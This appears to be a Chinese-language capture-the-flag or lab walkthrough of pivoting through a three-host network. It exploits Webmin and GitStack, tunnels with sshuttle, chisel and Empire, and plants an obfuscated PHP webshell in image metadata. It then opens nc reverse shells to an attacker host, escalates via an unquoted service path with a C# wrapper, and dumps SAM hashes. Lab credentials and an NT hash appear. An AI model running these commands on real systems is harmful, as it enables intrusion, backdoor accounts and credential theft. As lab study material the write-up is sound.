10.200.87.200 -> 10.200.87.150 -> 10.200.87.100
通过扫描10.200.87.200发现其10000端口上开放了webmin服务
查询历史漏洞发现了一个远程命令执行漏洞CVE-2019-15107
git clone https://github.com/MuirlandOracle/CVE-2019-15107
获取到root权限的webshell,通过/root/.ssh/id_rsa
复制私钥,到自己的文件上。实现私钥登录
继续,先不搭建代理,先上传一个静态版本的nmap进行扫描,发现了C段100和150.但100扫描端口时全返回过滤,所以这里可能对200的机器做了屏蔽。这里用nmap比ping识别效果搞更全面。
对150进行端口扫描,发现其有80、3389、5985
对其80端口进行查看,发现存在gitstack服务,对其历史漏洞进行查询,发现一个远程的rce。
searchsploit gitstack
复制到当前目录
searchsploit -m 43777
修改其中的IP。并且发现该漏洞利用文件是上传一个 webshell再连接的
由于150的IP只能200访问,所以使用sshuttle来代理转发。
sshuttle -r [email protected] --ssh-cmd "ssh -i ./aukey" 10.200.87.0/24
转发完成后,可以发现在kali也能正常访问150IP能访问的东西。由于在扫端口时发现150IP是windows操作系统,所以使用Empire C2来进行后面的操作。启动empire的gui界面。
启动服务器
sudo powershell-empire server
启动GUI界面
starkiller
由于empire无法通过其他代理进行连接。所以得自己做中转。
先在200IP的机器上为要监听的端口开放防火墙策略
firewall-cmd --zone=public --add-port 23234/tcp
创建http hop监听器
该步骤创建后,会在/tmp目录下生成一个http服务器项目,将该文件打包成zip,并通过ssh下载到200的服务器。
cd /tmp/http_hop && zip -r hop.zip *
ssh连上后
mkdir /tmp/hop-yyds/
cd /tmp/hop-yyds/
curl 10.50.88.30/hop.zip -o hop.zip
unzip hop.zip
开启php的服务来做转发
php -S 0.0.0.0:23234 &>/dev/null &
创建multi/launcher stagers
复制stagers到BP中,对150IP进行发包。
获得反弹的shell
获取当前计算机的用户的hash值,并解出账号密码
Thomas
i<3ruby
由于是系统权限,所以直接创建一个用户,并加入到管理员组、远程访问组中。
net user yyds yyds /add
net localgroup Administrators yyds /add
net localgroup "Remote Management Users" yyds /add
使用empire框架的module,进行端口扫描
发现100IP开放了80和3389端口
所以针对100IP的80端口进行转发。在200IP上传一个chisel,在250IP上传一个chisel,然后使用远程端口转发,将100IP的80端口转发到200IP上的22223上。
curl 10.50.88.30/chisel -o chisel
由于empire上传文件限制1M,所以使用rdp或者winrm进行上传。使用evil-winrm连上后上传文件。
evil-winrm -u yyds -p yyds -i 10.200.87.150
upload LOCAL_FILEPATH REMOTE_FILEPATH
upload /home/kali/Desktop/CVE-2019-15107/chisel_1.7.7_windows_amd64 C:\Users\yyds\Documents\chisel.exe
【使用socks代理的时候需要开,使用端口转发就只用在200IP上开firewall】在150IP上开放端口,使用empire,权限更高一点
netsh advfirewall firewall add rule name="chisel-yyds" dir=in action=allow protocol=tcp localport=22223
在200IP上启动监听服务
#开防火墙
firewall-cmd --zone=public --add-port 22223/tcp
./chisel server -p 22223 --reverse
在150IP上启动客户端,去连接服务端的22223端口,让10.200.87.100:80数据导向服务端的22224端口
./chisel.exe client 10.200.87.200:22223 R:22224:10.200.87.100:80
然后访问kali的浏览器
10.200.87.200:22224
并获取到服务器脚本语言为php
由于与10.200.87.200:80页面相似,猜测为副本。并在windows上的c://gitstack中找到gitstack。
dir *.git -recurse
使用evil-winRm下载文件太慢了,使用empire打包成zip再下载。
然后下载GitTools,获取仓库的信息
git clone https://github.com/internetwache/GitTools
/home/kali/Desktop/CVE-2019-15107/GitTools/Extractor/extractor.sh . website
通过分析index.php,发现是个文件上传点,并且可以绕过
后缀和getimagesize()
且进入/resources/需要权限认证,使用前面获得到的密码登录后上传shell
首先使用exiftool向图片中加入混淆后的木马信息。使用PHP Obfuscator进行混淆
<?php \$p0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$p0)){echo base64_decode('PHByZT4=').shell_exec(\$p0).base64_decode('PC9wcmU+');}die();?>
exiftool -Comment="<?php \$p0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$p0)){echo base64_decode('PHByZT4=').shell_exec(\$p0).base64_decode('PC9wcmU+');}die();?>" smile-yyds.png.php
然后上传文件,执行命令
再下载一个其他人修改过后的nc
git clone https://github.com/int0x33/nc.exe/
通过python http上传上去(certutil)会被AV标记为病毒行为,然后执行
curl http://10.50.88.30/nc64.exe -o c:\\windows\\temp\\nc-USERNAME.exe
powershell.exe c:\\windows\\temp\\nc-MuirlandOracle.exe 10.50.88.30 443 -e cmd.exe
开启nc监听
nc -lvnp 443
获得shell
准备提权操作
查看用户权限
whoami /priv
用户组权限
whoami /groups
寻找非默认服务过滤掉在C:\Windows
路径的服务
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
发现未用引号包裹的服务
查询运行该服务的账户
sc qc SystemExplorerHelpService
发现由本地系统账户运行
查看该服务路径是否有可写权限
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
发现所有用户都可写
于是编写一个C#,并编译成exe去替换,然后再重启服务,以高权限来运行自己编译的exe。该exe相当于去调用nc进行一个反向连接
using System.Diagnostics;
namespace Wrapper{
class Program{
static void Main(){
Process proc = new Process();
ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-yyds.exe", "10.50.88.30 443 -e cmd.exe");
procInfo.CreateNoWindow = true;
proc.StartInfo = procInfo;
proc.Start();
} }}
编译好后,使用smb服务进行传输。使用impacket中的脚本来辅助
sudo git clone https://github.com/SecureAuthCorp/impacket /opt/impacket && cd /opt/impacket && sudo pip3 install .
sudo python3 /opt/impacket/examples/smbserver.py share . -smb2support -username yyds -password yyds
在反弹shell中执行连接攻击机的smb
net use \\10.50.88.30\share /user:yyds yyds
复制
copy \\10.50.88.30\share\yyds.exe %TEMP%\wrapper-yyds.exe
执行测试,在kali上开个监听
"%TEMP%\wrapper-yyds.exe"
发现是没有被拦截的,正常返回shell
用完smb就关,防止重连时出错
net use \\ATTACKER_IP\share /del
windows未引用服务路径漏洞
如果 Windows 中的路径包含空格并且没有被引号包围(例如C:\Directory One\Directory Two\Executable.exe
),则 Windows 将按以下顺序查找可执行文件:
C:\Directory.exe
C:\Directory One\Directory.exe
C:\Directory One\Directory Two\Executable.exe
所以将exe复制进目录
copy %TEMP%\wrapper-USERNAME.exe "C:\Program Files (x86)\System Explorer\System.exe"
停止服务
sc stop SystemExplorerHelpService
启动服务
sc start SystemExplorerHelpService
可以发现反弹shell成功,且权限为系统权限
然后就是收集敏感信息,收集管理员的hash值
sam放在C:\Windows\System32\Config\SAM
reg.exe save HKLM\SAM sam.bak
system配置文件
reg.exe save HKLM\SYSTEM system.bak
也可以用smb传回去
reg.exe save HKLM\SAM \\ATTACKING_IP\share\sam.bak
然后再通过secretsdump.py导出hash
python3 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
可以发现管理员的NT哈希为
a05c3c807ceeb48c47252568da284cd2
导出的hash格式为
用户名:RID:LM 哈希:NT 哈希
NT哈希为31d6cfe0d16ae931b73c59d7e0c089c0时,表示空哈希。